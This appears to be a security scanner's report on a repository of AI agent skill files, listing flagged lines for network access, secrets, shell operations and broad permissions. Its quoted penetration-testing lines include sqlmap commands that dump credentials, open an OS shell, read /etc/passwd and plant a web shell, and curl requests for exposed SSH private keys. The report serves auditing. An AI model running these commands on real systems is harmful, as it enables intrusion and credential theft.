skills/senior-fullstack/scripts/project_scaffolder.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/sentry-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/seo-fundamentals/scripts/seo_checker.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/server-management/SKILL.md
- Broad permissionsline 1
Read, Write, Edit, Glob, Grep, Bash
skills/service-mesh-observability/SKILL.md
- Network accessline 271
external_services: prometheus: url: http://prometheus.istio-system:9090 - Network accessline 272
prometheus: url: http://prometheus.istio-system:9090 tracing: - Network accessline 273
url: http://prometheus.istio-system:9090 - Network accessline 274
tracing: url: http://jaeger-query.istio-system:16686 grafana: - Network accessline 275
url: http://jaeger-query.istio-system:16686 - Network accessline 277
url: http://grafana.istio-system:3000 - Network accessline 394
- [Istio Observability](https://istio.io/latest/docs/tasks/observability/) - Network accessline 395
- [Linkerd Observability](https://linkerd.io/2.14/features/dashboard/) - Network accessline 396
- [OpenTelemetry](https://opentelemetry.io/) - Network accessline 397
- [Kiali](https://kiali.io/)
skills/sharp-edges/SKILL.md
- Network accessline 2
name: sharp-edges description: "Identify error-prone APIs and dangerous configurations" source: "https://github.com/trailofbits/skills/tree/main/plugins/sharp-edges" - Network accessline 3
description: "Identify error-prone APIs and dangerous configurations" source: "https://github.com/trailofbits/skills/tree/main/plugins/sharp-edges" risk: safe - Network accessline 4
source: "https://github.com/trailofbits/skills/tree/main/plugins/sharp-edges" - Network accessline 70
For more information, see the [source repository](https://github.com/trailofbits/skills/tree/main/plugins/sharp-edges).
skills/shellcheck-configuration/SKILL.md
- Network accessline 54
# From source git clone https://github.com/koalaman/shellcheck.git - Network accessline 55
git clone https://github.com/koalaman/shellcheck.git - Dangerous shell operationline 263
sudo apt-get install shellcheck - Network accessline 466
- **ShellCheck GitHub**: https://github.com/koalaman/shellcheck - Network accessline 467
- **ShellCheck Wiki**: https://www.shellcheck.net/wiki/ - Network accessline 468
- **Error Code Reference**: https://www.shellcheck.net/
skills/shodan-reconnaissance/SKILL.md
- Dangerous shell operationline 47
sudo pacman -S python-shodan - Access to secretsline 53
[Credential-related source omitted] - Network accessline 267
# Get API info curl -s "https://api.shodan.io/api-info?key=YOUR_KEY" | jq - Network accessline 268
curl -s "https://api.shodan.io/api-info?key=YOUR_KEY" | jq - Network accessline 270
# Host lookup curl -s "https://api.shodan.io/shodan/host/1.1.1.1?key=YOUR_KEY" | jq - Network accessline 271
curl -s "https://api.shodan.io/shodan/host/1.1.1.1?key=YOUR_KEY" | jq - Network accessline 273
# Search query curl -s "https://api.shodan.io/shodan/host/search?key=YOUR_KEY&query=apache" | jq - Network accessline 274
curl -s "https://api.shodan.io/shodan/host/search?key=YOUR_KEY&query=apache" | jq - Access to secretsline 281
[Credential-related source omitted] - Access to secretsline 442
[Credential-related source omitted] - Access to secretsline 443
[Credential-related source omitted] - Access to secretsline 500
[Credential-related source omitted]
skills/shopify-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/shopify-development/SKILL.md
- Network accessline 363
- Shopify Developer Docs: https://shopify.dev/docs - Network accessline 364
- GraphQL Admin API Reference: https://shopify.dev/docs/api/admin-graphql - Network accessline 365
- Shopify CLI Reference: https://shopify.dev/docs/api/shopify-cli - Network accessline 366
- Polaris Design System: https://polaris.shopify.com
skills/shopify-development/references/app-development.md
- Network accessline 12
https://{shop}.myshopify.com/admin/oauth/authorize? - Access to secretsline 13
[Credential-related source omitted] - Network accessline 36
res.redirect(`https://${shop}/admin/apps/${appHandle}`); - Network accessline 43
async function exchangeCodeForToken(shop, code) { const response = await fetch(`https://${shop}/admin/oauth/access_token`, { - Network accessline 44
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Network accessline 72
Full list: https://shopify.dev/api/usage/access-scopes - Network accessline 85
return fetch(url, { - Network accessline 100
async function graphqlRequest(shop, accessToken, query, variables = {}) { const response = await fetch( - Network accessline 101
const response = await fetch( - Network accessline 102
`https://${shop}/admin/api/2026-01/graphql.json`, - Access to secretsline 295
[Credential-related source omitted] - Network accessline 370
"name": "Premium Feature", "price": { "amount": 49.99, "currencyCode": "USD" }, "returnUrl": "https://your-app.com/billing/callback" - Network accessline 371
"price": { "amount": 49.99, "currencyCode": "USD" }, "returnUrl": "https://your-app.com/billing/callback" } - Network accessline 372
"returnUrl": "https://your-app.com/billing/callback" - Network accessline 409
{ "name": "Monthly Subscription", "returnUrl": "https://your-app.com/billing/callback", - Network accessline 410
"name": "Monthly Subscription", "returnUrl": "https://your-app.com/billing/callback", "trialDays": 7, - Network accessline 411
"returnUrl": "https://your-app.com/billing/callback",
skills/shopify-development/references/extensions.md
- Network accessline 190
async function handleExport() { const response = await fetch("/api/export", { - Network accessline 191
const response = await fetch("/api/export", { - Network accessline 508
const response = await fetch("https://your-app.com/api/data", { - Network accessline 552
- Checkout Extensions: https://shopify.dev/docs/api/checkout-extensions - Network accessline 553
- Admin Extensions: https://shopify.dev/docs/apps/admin/extensions - Network accessline 554
- Functions: https://shopify.dev/docs/apps/functions - Network accessline 555
- Components: https://shopify.dev/docs/api/checkout-ui-extensions/components
skills/shopify-development/references/themes.md
- Network accessline 326
# Preview at http://localhost:9292 - Network accessline 425
// Add to cart fetch('/cart/add.js', { - Network accessline 426
fetch('/cart/add.js', { - Network accessline 437
// Get cart fetch('/cart.js') - Network accessline 438
fetch('/cart.js') - Network accessline 442
// Update cart fetch('/cart/change.js', { - Network accessline 443
fetch('/cart/change.js', { - Network accessline 495
- Theme Development: https://shopify.dev/docs/themes - Network accessline 496
- Liquid Reference: https://shopify.dev/docs/api/liquid - Network accessline 497
- Dawn Theme: https://github.com/Shopify/dawn - Network accessline 498
- Theme Check: https://shopify.dev/docs/themes/tools/theme-check
skills/shopify-development/scripts/.gitignore
skills/shopify-development/scripts/shopify_graphql.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 11
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Network accessline 68
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Network accessline 70
self.base_url = f"https://{self.shop_domain}/admin/api/{API_VERSION}/graphql.json" - Access to secretsline 89
[Credential-related source omitted] - Network accessline 134
Args: first: Number of products to fetch (max 250) - Network accessline 135
first: Number of products to fetch (max 250) - Network accessline 181
Args: first: Number of orders to fetch (max 250) - Network accessline 182
first: Number of orders to fetch (max 250) - Network accessline 233
Args: first: Number of customers to fetch (max 250) - Network accessline 234
first: Number of customers to fetch (max 250) - Access to secretsline 404
[Credential-related source omitted] - Access to secretsline 405
[Credential-related source omitted] - Access to secretsline 408
[Credential-related source omitted]
skills/shopify-development/scripts/shopify_init.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 21
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted] - Access to secretsline 79
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Access to secretsline 124
[Credential-related source omitted] - Access to secretsline 125
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 128
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Access to secretsline 130
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Network accessline 216
name = "{app_name}" client_id = "{self.config.shopify_api_key or 'YOUR_API_KEY'}" application_url = "https://your-app.com" - Network accessline 217
[Credential-related source omitted] - Access to secretsline 217
[Credential-related source omitted] - Network accessline 218
application_url = "https://your-app.com" - Network accessline 313
- [Shopify Documentation](https://shopify.dev/docs) - Network accessline 314
- [Shopify CLI](https://shopify.dev/docs/api/shopify-cli)
skills/shopify-development/scripts/tests/test_shopify_init.py
- Executable scriptline 1
Executable file - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 61
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 93
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted] - Access to secretsline 106
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Access to secretsline 362
[Credential-related source omitted] - Access to secretsline 370
[Credential-related source omitted] - Access to secretsline 376
[Credential-related source omitted]
skills/similarity-search-patterns/resources/implementation-playbook.md
- Access to secretsline 56
[Credential-related source omitted] - Access to secretsline 61
[Credential-related source omitted] - Network accessline 375
async with self.pool.acquire() as conn: rows = await conn.fetch(query, *params) - Network accessline 376
rows = await conn.fetch(query, *params) - Network accessline 395
"""Hybrid search combining vector and full-text.""" async with self.pool.acquire() as conn: rows = await conn.fetch( - Network accessline 396
async with self.pool.acquire() as conn: rows = await conn.fetch( """ - Network accessline 397
rows = await conn.fetch( - Network accessline 439
def __init__( self, url: str = "http://localhost:8080", - Network accessline 440
self, url: str = "http://localhost:8080", class_name: str = "Document" - Network accessline 441
url: str = "http://localhost:8080", - Network accessline 554
- [Pinecone Docs](https://docs.pinecone.io/) - Network accessline 555
- [Qdrant Docs](https://qdrant.tech/documentation/) - Network accessline 556
- [pgvector](https://github.com/pgvector/pgvector) - Network accessline 557
- [Weaviate Docs](https://weaviate.io/developers/weaviate)
skills/skill-creator-ms/SKILL.md
- Access to secretsline 203
[Credential-related source omitted] - Network accessline 252
|----------|---------|---------| | **SDK Package** | `azure-ai-agents`, `Azure.AI.OpenAI` | Identifies the exact SDK | | **Documentation URL** | `https://learn.microsoft.com/en-us/azure/ai-services/...` | Primary source of truth | - Network accessline 253
| **SDK Package** | `azure-ai-agents`, `Azure.AI.OpenAI` | Identifies the exact SDK | | **Documentation URL** | `https://learn.microsoft.com/en-us/azure/ai-services/...` | Primary source of truth | | **Repository** (optional) | `Azure/azure - Network accessline 254
| **Documentation URL** | `https://learn.microsoft.com/en-us/azure/ai-services/...` | Primary source of truth | - Network accessline 383
**SDK**: `package-name` **Repository**: https://github.com/Azure/azure-sdk-for-<language> - Network accessline 384
**Repository**: https://github.com/Azure/azure-sdk-for-<language> - Access to secretsline 414
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Access to secretsline 456
[Credential-related source omitted]
skills/skill-creator/LICENSE.txt
skills/skill-creator/README.md
- Network accessline 34
# Clone the repository git clone https://github.com/yourusername/cli-ai-skills.git - Network accessline 35
git clone https://github.com/yourusername/cli-ai-skills.git - Network accessline 201
git clone https://github.com/yourusername/cli-ai-skills.git - Network accessline 253
- **Writing Style Guide:** `resources/templates/writing-style-guide.md` - **Anthropic Official Guide:** https://github.com/anthropics/claude-plugins-official - Network accessline 254
- **Anthropic Official Guide:** https://github.com/anthropics/claude-plugins-official
skills/skill-creator/SKILL.md
skills/skill-creator/scripts/init_skill.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/skill-creator/scripts/package_skill.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/skill-creator/scripts/quick_validate.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/skill-developer/TRIGGER_TYPES.md
- Network accessline 84
- Include domain-specific nouns: `(feature|endpoint|component|workflow)` - Use non-greedy matching: `.*?` instead of `.*` - Test patterns thoroughly with regex tester (https://regex101.com/) - Network accessline 85
- Use non-greedy matching: `.*?` instead of `.*` - Test patterns thoroughly with regex tester (https://regex101.com/) - Don't make patterns too broad (causes false positives) - Network accessline 86
- Test patterns thoroughly with regex tester (https://regex101.com/) - Network accessline 275
❌ Make intent patterns too broad (false positives) ❌ Make patterns too specific (false negatives) ❌ Forget to test with regex tester (https://regex101.com/) - Network accessline 276
❌ Make patterns too specific (false negatives) ❌ Forget to test with regex tester (https://regex101.com/) ❌ Use greedy regex: `.*` instead of `.*?` - Network accessline 277
❌ Forget to test with regex tester (https://regex101.com/)
skills/skill-developer/TROUBLESHOOTING.md
- Network accessline 44
**Check:** - Look at `promptTriggers.intentPatterns` - Test regex at https://regex101.com/ - Network accessline 45
- Look at `promptTriggers.intentPatterns` - Test regex at https://regex101.com/ - May need broader patterns - Network accessline 46
- Test regex at https://regex101.com/ - Dangerous shell operationline 203
rm .claude/hooks/state/skills-used-{session-id}.json
skills/skill-rails-upgrade/SKILL.md
- Network accessline 2
name: skill-rails-upgrade description: "Analyze Rails apps and provide upgrade assessments" source: "https://github.com/robzolkos/skill-rails-upgrade" - Network accessline 3
description: "Analyze Rails apps and provide upgrade assessments" source: "https://github.com/robzolkos/skill-rails-upgrade" risk: safe - Network accessline 4
source: "https://github.com/robzolkos/skill-rails-upgrade" - Network accessline 62
URL: `https://guides.rubyonrails.org/upgrading_ruby_on_rails.html` - Network accessline 77
URL: `https://railsdiff.org/{current_version}/{target_version}` - Network accessline 79
For example: `https://railsdiff.org/7.1.3/8.0.0` - Network accessline 219
- Rails Upgrade Guide: https://guides.rubyonrails.org/upgrading_ruby_on_rails.html - Network accessline 220
- Rails Diff: https://railsdiff.org/{current}/{target} - Network accessline 221
- Release Notes: https://github.com/rails/rails/releases/tag/v{target}
skills/skill-seekers/SKILL.md
- Network accessline 2
name: skill-seekers description: "-Automatically convert documentation websites, GitHub repositories, and PDFs into Claude AI skills in minutes." source: "https://github.com/yusufkaraaslan/Skill_Seekers" - Network accessline 3
description: "-Automatically convert documentation websites, GitHub repositories, and PDFs into Claude AI skills in minutes." source: "https://github.com/yusufkaraaslan/Skill_Seekers" risk: safe - Network accessline 4
source: "https://github.com/yusufkaraaslan/Skill_Seekers" - Network accessline 22
For more information, see the [source repository](https://github.com/yusufkaraaslan/Skill_Seekers).
skills/slack-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/slack-bot-builder/SKILL.md
- Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 38
[Credential-related source omitted] - Network accessline 103
Use Block Kit Builder to prototype: https://app.slack.com/block-kit-builder - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 235
[Credential-related source omitted] - Access to secretsline 237
[Credential-related source omitted] - Access to secretsline 238
[Credential-related source omitted]
skills/slack-gif-creator/LICENSE.txt
skills/slack-gif-creator/core/easing.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/slack-gif-creator/core/frame_composer.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/slack-gif-creator/core/gif_builder.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/slack-gif-creator/core/validators.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/smtp-penetration-testing/SKILL.md
- Dangerous shell operationline 22
sudo apt-get install nmap - Network accessline 24
# Netcat sudo apt-get install netcat - Dangerous shell operationline 25
sudo apt-get install netcat - Dangerous shell operationline 28
sudo apt-get install hydra - Dangerous shell operationline 31
sudo apt-get install smtp-user-enum - Network accessline 96
# Using Netcat nc TARGET_IP 25 - Network accessline 97
nc TARGET_IP 25 - Network accessline 124
# Connect and test commands nc TARGET_IP 25 - Network accessline 125
nc TARGET_IP 25 - Network accessline 368
| Nmap | `nmap --script smtp-enum-users -p 25 IP` | | Metasploit | `use auxiliary/scanner/smtp/smtp_enum` | | Netcat | `nc IP 25` then manual commands | - Network accessline 370
| Netcat | `nc IP 25` then manual commands | - Network accessline 413
# Step 2: Banner grab nc mail.target.com 25 - Network accessline 414
nc mail.target.com 25
skills/spark-optimization/SKILL.md
- Network accessline 427
- [Spark Performance Tuning](https://spark.apache.org/docs/latest/sql-performance-tuning.html) - Network accessline 428
- [Spark Configuration](https://spark.apache.org/docs/latest/configuration.html) - Network accessline 429
- [Databricks Optimization Guide](https://docs.databricks.com/en/optimizations/index.html)
skills/sql-injection-testing/SKILL.md
skills/sqlmap-database-pentesting/SKILL.md
- Network accessline 40
# Add single quote to break query http://target.com/page.php?id=1' - Network accessline 41
http://target.com/page.php?id=1' - Network accessline 49
# Basic vulnerability detection sqlmap -u "http://target.com/page.php?id=1" --batch - Network accessline 50
sqlmap -u "http://target.com/page.php?id=1" --batch - Network accessline 52
# With verbosity for detailed output sqlmap -u "http://target.com/page.php?id=1" --batch -v 3 - Network accessline 53
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3 - Network accessline 60
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch - Network accessline 72
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch - Network accessline 83
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch - Network accessline 94
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch - Network accessline 99
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch - Network accessline 104
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch - Network accessline 128
# Create file with URLs, one per line: # http://target1.com/page.php?id=1 - Network accessline 129
# http://target1.com/page.php?id=1 - Network accessline 130
# http://target2.com/page.php?id=2 - Network accessline 232
# Step 1: Discover databases sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch - Network accessline 233
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch - Network accessline 236
# Step 2: List tables sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch - Network accessline 237
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch - Network accessline 240
# Step 3: List columns sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch - Network accessline 241
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch - Network accessline 244
# Step 4: Dump user credentials sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch - Network accessline 245
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch - Network accessline 263
# Create bulkfile.txt: echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt - Network accessline 264
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt - Network accessline 265
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt - Network accessline 273
# High level and risk for thorough testing sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3 - Network accessline 274
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3 - Network accessline 276
# Specify all techniques sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ - Network accessline 277
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ - Network accessline 282
# Target specific columns sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 283
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 289
# Automatically crack password hashes sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 290
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 299
# Get interactive OS shell (requires DBA privileges) sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch - Network accessline 300
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch - Network accessline 302
# Execute specific OS command sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch - Network accessline 303
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch - Network accessline 305
# File read from server sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch - Network accessline 306
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch - Network accessline 308
# File upload to server sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch - Network accessline 309
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
skills/square-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/ssh-penetration-testing/SKILL.md
- Network accessline 64
# Banner grabbing nc 192.168.1.100 22 - Network accessline 65
nc 192.168.1.100 22 - Access to secretsline 186
[Credential-related source omitted] - Access to secretsline 187
[Credential-related source omitted] - Access to secretsline 188
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Access to secretsline 192
[Credential-related source omitted] - Network accessline 194
# Web-accessible keys (check with curl/wget) curl -s http://target.com/.ssh/id_rsa - Network accessline 195
curl -s http://target.com/.ssh/id_rsa - Network accessline 196
curl -s http://target.com/id_rsa - Network accessline 197
curl -s http://target.com/backup/ssh_keys.tar.gz - Network accessline 236
# Access internal web server through SSH ssh -L 8080:192.168.1.50:80 user@192.168.1.100 # Now access http://localhost:8080 - Network accessline 238
# Now access http://localhost:8080 - Access to secretsline 290
[Credential-related source omitted] - Dangerous shell operationline 302
# Check sudo privileges - Dangerous shell operationline 303
sudo -l - Access to secretsline 311
[Credential-related source omitted] - Access to secretsline 312
[Credential-related source omitted] - Access to secretsline 313
[Credential-related source omitted] - Access to secretsline 316
[Credential-related source omitted] - Network accessline 432
| Command | Purpose | |---------|---------| | `nc <host> 22` | Banner grabbing | - Network accessline 433
|---------|---------| | `nc <host> 22` | Banner grabbing | | `ssh-audit <host>` | Configuration audit | - Network accessline 434
| `nc <host> 22` | Banner grabbing |
skills/startup-business-analyst-business-case/SKILL.md
- Broad permissionsline 1
Read Write Edit Glob Grep Bash WebSearch WebFetch
skills/startup-business-analyst-financial-projections/SKILL.md
- Broad permissionsline 1
Read Write Edit Glob Grep Bash WebSearch WebFetch
skills/startup-business-analyst-market-opportunity/SKILL.md
- Broad permissionsline 1
Read Write Edit Glob Grep Bash WebSearch WebFetch
skills/stride-analysis-patterns/resources/implementation-playbook.md
- Network accessline 653
- [Microsoft STRIDE Documentation](https://docs.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats) - Network accessline 654
- [OWASP Threat Modeling](https://owasp.org/www-community/Threat_Modeling) - Network accessline 655
- [Threat Modeling: Designing for Security](https://www.wiley.com/en-us/Threat+Modeling%3A+Designing+for+Security-p-9781118809990)
skills/stripe-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/stripe-integration/SKILL.md
- Access to secretsline 81
[Credential-related source omitted] - Network accessline 98
}], mode='subscription', success_url='https://yourdomain.com/success?session_id={CHECKOUT_SESSION_ID}', - Network accessline 99
mode='subscription', success_url='https://yourdomain.com/success?session_id={CHECKOUT_SESSION_ID}', cancel_url='https://yourdomain.com/cancel', - Network accessline 100
success_url='https://yourdomain.com/success?session_id={CHECKOUT_SESSION_ID}', - Network accessline 101
cancel_url='https://yourdomain.com/cancel', - Network accessline 120
'product_data': { 'name': 'Purchase', 'images': ['https://example.com/product.jpg'], - Network accessline 121
'name': 'Purchase', 'images': ['https://example.com/product.jpg'], }, - Network accessline 122
'images': ['https://example.com/product.jpg'], - Network accessline 127
}], mode='payment', success_url='https://yourdomain.com/success?session_id={CHECKOUT_SESSION_ID}', - Network accessline 128
mode='payment', success_url='https://yourdomain.com/success?session_id={CHECKOUT_SESSION_ID}', cancel_url='https://yourdomain.com/cancel', - Network accessline 129
success_url='https://yourdomain.com/success?session_id={CHECKOUT_SESSION_ID}', - Network accessline 130
cancel_url='https://yourdomain.com/cancel', - Access to secretsline 158
[Credential-related source omitted] - Access to secretsline 202
[Credential-related source omitted] - Network accessline 213
session = stripe.billing_portal.Session.create( customer=customer_id, return_url='https://yourdomain.com/account', - Network accessline 214
customer=customer_id, return_url='https://yourdomain.com/account', ) - Network accessline 215
return_url='https://yourdomain.com/account', - Access to secretsline 394
[Credential-related source omitted]
skills/supabase-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/superpowers-lab/SKILL.md
- Network accessline 2
name: superpowers-lab description: "Lab environment for Claude superpowers" source: "https://github.com/obra/superpowers-lab" - Network accessline 3
description: "Lab environment for Claude superpowers" source: "https://github.com/obra/superpowers-lab" risk: safe - Network accessline 4
source: "https://github.com/obra/superpowers-lab" - Network accessline 22
For more information, see the [source repository](https://github.com/obra/superpowers-lab).
skills/swiftui-expert-skill/SKILL.md
- Network accessline 2
name: swiftui-expert-skill description: "Write, review, or improve SwiftUI code following best practices for state management, view composition, performance, modern APIs, Swift concurrency, and iOS 26+ Liquid Glass adoption. Use when buil.. - Network accessline 3
description: "Write, review, or improve SwiftUI code following best practices for state management, view composition, performance, modern APIs, Swift concurrency, and iOS 26+ Liquid Glass adoption. Use when buil..." source: "https://github. - Network accessline 4
source: "https://github.com/AvdLee/SwiftUI-Agent-Skill/tree/main/swiftui-expert-skill"
skills/systematic-debugging/SKILL.md
skills/systematic-debugging/condition-based-waiting-example.ts
- Executable scriptline 1
Executable file
skills/systematic-debugging/find-polluter.sh
- Executable scriptline 1
#!/usr/bin/env bash
skills/systems-programming-rust-project/SKILL.md
skills/tailwind-design-system/resources/implementation-playbook.md
skills/tavily-web/SKILL.md
skills/tdd-workflow/SKILL.md
- Broad permissionsline 1
Read, Write, Edit, Glob, Grep, Bash
skills/team-collaboration-issue/resources/implementation-playbook.md
skills/telegram-automation/SKILL.md
- Network accessline 23
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/telegram-bot-builder/SKILL.md
skills/telegram-mini-app/SKILL.md
- Network accessline 43
<head> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script src="https://telegram.org/js/telegram-web-app.js"></script> - Network accessline 44
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <script src="https://telegram.org/js/telegram-web-app.js"></script> </head> - Network accessline 45
<script src="https://telegram.org/js/telegram-web-app.js"></script> - Network accessline 95
reply_markup: { inline_keyboard: [[ { text: '🚀 Open App', web_app: { url: 'https://your-app.com' } } - Network accessline 96
inline_keyboard: [[ { text: '🚀 Open App', web_app: { url: 'https://your-app.com' } } ]] - Network accessline 97
{ text: '🚀 Open App', web_app: { url: 'https://your-app.com' } } - Network accessline 124
function App() { return ( <TonConnectUIProvider manifestUrl="https://your-app.com/tonconnect-manifest.json"> - Network accessline 125
return ( <TonConnectUIProvider manifestUrl="https://your-app.com/tonconnect-manifest.json"> <MainApp /> - Network accessline 126
<TonConnectUIProvider manifestUrl="https://your-app.com/tonconnect-manifest.json"> - Network accessline 142
{ "url": "https://your-app.com", - Network accessline 143
"url": "https://your-app.com", - Network accessline 144
"name": "Your Mini App", "iconUrl": "https://your-app.com/icon.png" } - Network accessline 145
"iconUrl": "https://your-app.com/icon.png" - Network accessline 209
function ReferralShare() { const { tg, user } = useTelegram(); const referralLink = `https://t.me/your_bot?start=ref_${user.id}`; - Network accessline 211
const referralLink = `https://t.me/your_bot?start=ref_${user.id}`; - Network accessline 213
const share = () => { tg.openTelegramLink( `https://t.me/share/url?url=${encodeURIComponent(referralLink)}&text=Check this out!` - Network accessline 214
tg.openTelegramLink( `https://t.me/share/url?url=${encodeURIComponent(referralLink)}&text=Check this out!` ); - Network accessline 215
`https://t.me/share/url?url=${encodeURIComponent(referralLink)}&text=Check this out!`
skills/temporal-python-testing/resources/local-setup.md
- Network accessline 46
environment: - TEMPORAL_ADDRESS=temporal:7233 - TEMPORAL_CORS_ORIGINS=http://localhost:3000 - Network accessline 47
- TEMPORAL_ADDRESS=temporal:7233 - TEMPORAL_CORS_ORIGINS=http://localhost:3000 ports: - Network accessline 48
- TEMPORAL_CORS_ORIGINS=http://localhost:3000 - Network accessline 68
# Access Temporal Web UI open http://localhost:8080 - Network accessline 69
open http://localhost:8080 - Dangerous shell operationline 417
rm -rf .pytest_cache htmlcov .coverage - Network accessline 502
# Access Web UI at http://localhost:8080
skills/temporal-python-testing/resources/replay-testing.md
- Network accessline 126
@workflow.run async def run(self) -> dict: response = requests.get("https://api.example.com/data") # External call! - Network accessline 127
async def run(self) -> dict: response = requests.get("https://api.example.com/data") # External call! return response.json() - Network accessline 128
response = requests.get("https://api.example.com/data") # External call!
skills/terraform-skill/SKILL.md
skills/theme-factory/LICENSE.txt
skills/threat-mitigation-mapping/resources/implementation-playbook.md
